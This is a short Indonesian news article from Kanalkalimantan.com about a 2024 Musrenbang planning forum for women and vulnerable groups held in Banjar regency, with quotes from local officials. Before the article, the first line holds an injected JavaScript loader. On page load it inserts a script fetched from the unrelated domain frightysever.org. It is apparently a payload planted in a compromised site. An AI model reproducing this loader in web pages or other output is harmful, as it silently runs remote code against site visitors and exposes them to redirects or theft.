(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Musrenbang bagi Perempuan dan Kelompok Rentan tahun 2024 Digelar di Bappedalitbang Banjar

KANALKALIMANTAN.COM, MARTAPURA – Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi menjadi narasumber pada Musyawarah Perencanaan Pembangunan Daerah (Musrenbang) bagi Perempuan dan Kelompok Rentan tahun 2024, di Aula Baiman lantai 3 Bappedalitbang Kabupaten Banjar, Rabu (6/3/2024) pagi.

Kegiatan yang dibuka Sekda Banjar HM Hilman itu dilaksanakan Pimpinan Daerah Aisyiyah (PDA) Kabupaten Banjar dan mengusung tema “Perencanaan Pembangunan Daerah Yang Berspektif Gedsi”.

Selain Hanafi, kegitan tersebut juga menghadirkan narasumber dari Pimpinan wilayah Aisyiyah Kalsel Yulia Qomariati, dan Pimpinan Daerah Aisyiyah Banjar Nadiyah Khalid.

Musrenbang bagi Perempuan dan Kelompok Rentan tahun 2024, di Aula Baiman lantai 3 Bappedalitbang Kabupaten Banjar, Rabu (6/3/2024) pagi. Foto: DKISP Banjar

Sekda Banjar HM Hilman mengatakan, musyawarah ini menjadi momentum berharga dalam menggali potensi dan menemukan solusi bagi kemajuan perempuan dan kelompok rentan di Kabupaten Banjar.

“Perspektif GEDSI (gender, disabilitas, inklusi sosial) menjadi landasan penting untuk menjamin bahwa setiap lapisan masyarakat terutama perempuan dan kelompok rentan tidak tertinggal dalam pembangunan yang kita rencanakan,” ungkap Hilman.

Dia menambahkan bahwa musyawarah ini seharusnya bukan sekadar seremonial formalitas, namun merupakan ruang dialog nyata antara pemerintah, perempuan dan kelompok rentan untuk merumuskan langkah langkah strategis dalam mewujudkan pembangunan yang berkeadilan dan inklusif.

Musrenbang bagi Perempuan dan Kelompok Rentan tahun 2024, di Aula Baiman lantai 3 Bappedalitbang Kabupaten Banjar, Rabu (6/3/2024) pagi. Foto: DKISP Banjar

Sementara itu pimpinan daerah Aisyiah Banjar Nadiyah Khalid berharap melalui forum Musrenbang ini dapat memastikan agar suara perempuan, difabel dan kelompok rentan dapat terserap pada saat Musrenbang Kabupaten.

“Sehingga aspirasi ini sedapatnya terakomodir dalam proses perencanaan pembangunan mendatang,” tutup dia. (Kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani